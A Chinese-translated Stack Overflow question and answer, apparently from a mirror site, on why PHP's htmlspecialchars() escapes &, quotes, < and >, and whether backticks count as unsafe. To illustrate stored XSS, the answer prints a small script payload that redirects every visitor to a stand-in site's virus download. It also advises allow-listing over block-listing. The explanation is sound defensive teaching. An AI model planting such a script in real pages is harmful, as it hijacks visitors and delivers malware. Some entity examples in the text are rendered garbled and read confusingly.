Ped*_*o A 3 html escaping code-injection javascript-injection html-injections
在PHP中,有一个名为htmlspecialchars()的函数,该函数对字符串执行以下替换:
& (与号)转换为 &" (双引号)转换为 "'(单引号)转换为'(仅当设置了标志ENT_QUOTES时)< (小于)转换为 <> (大于)转换为 >显然,这样做是基于这5个特定字符是不安全的HTML字符。
我可以理解为什么最后两个不安全:如果将它们简单地“回显”,则可以交付任意/危险的HTML,包括可能带有<script>这些内容的javascript 。
问题1.为什么前三个字符(“&”号,双引号,单引号)也被视为“不安全”?
另外,我偶然发现了GitHub上的这个名为“ he”的库(由Mathias Bynens撰写),该库与编码/解码HTML实体有关。在那里,我发现了以下内容:
在HTML内容(&,<,>,“,”和“)中不安全使用的[...]字符将被编码。[...]
(来源)
问题2.是否有充分的理由考虑反引号另一个不安全的HTML字符?如果是,这是否意味着上述PHP函数已过时?
最后,所有这些都引出了一个问题:
问题3.除了上面提到的那些5/6字符以外,还有其他不应该认为是“不安全”的字符吗?
Donovan_D的答案几乎可以解释这一点,但是在这里我将提供一些示例,说明这些特定字符如何特别引起问题。
这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本)攻击(或无意输入而意外破坏页面)的最明显方法。
考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后在所有访问者的页面上显示。
现在我总结一个看起来像这样的评论。
<script type="text/javascript">
window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
Run Code Online (Sandbox Code Playgroud)
突然,所有访问您页面的人都被重定向到病毒下载。这里的幼稚方法只是说,好吧,让我们过滤掉该攻击中的一些重要角色:
<并且>将被替换为<与>现在突然我们的脚本是不是一个脚本。这只是一些看起来像html的文本。
出现类似情况,并出现如下评论
Something is <<wrong>> here.
Run Code Online (Sandbox Code Playgroud)
假设用户<<...>>出于某种原因曾经强调过。他们的评论将是
这里是<>。
显然不是可取的行为。
出现的恶意程度较小&。&用来表示HTML实体,如&和"和<等,所以它很容易为无辜的前瞻性文本意外是一个HTML实体,并最终看起来很不同,很奇怪的用户。
考虑评论
I really like #455 ó please let me know when they're available for purchase.
Run Code Online (Sandbox Code Playgroud)
这将被呈现为
我真的很喜欢#455ó当他们可以购买时,请告诉我。
显然不是预期的行为。
关键是,这些符号在大多数情况下被认为是防止大多数XSS漏洞/错误的关键,因为它们很可能用于有效输入中,但需要转义以正确地以HTML呈现。
关于您的第二个问题,我个人不知道应该将反引号视为不安全的HTML字符。
至于你的第三个,也许。不要依赖黑名单来过滤用户输入。而是使用已知的OK输入的白名单并从那里开始工作。
| 归档时间: |
|
| 查看次数: |
1916 次 |
| 最近记录: |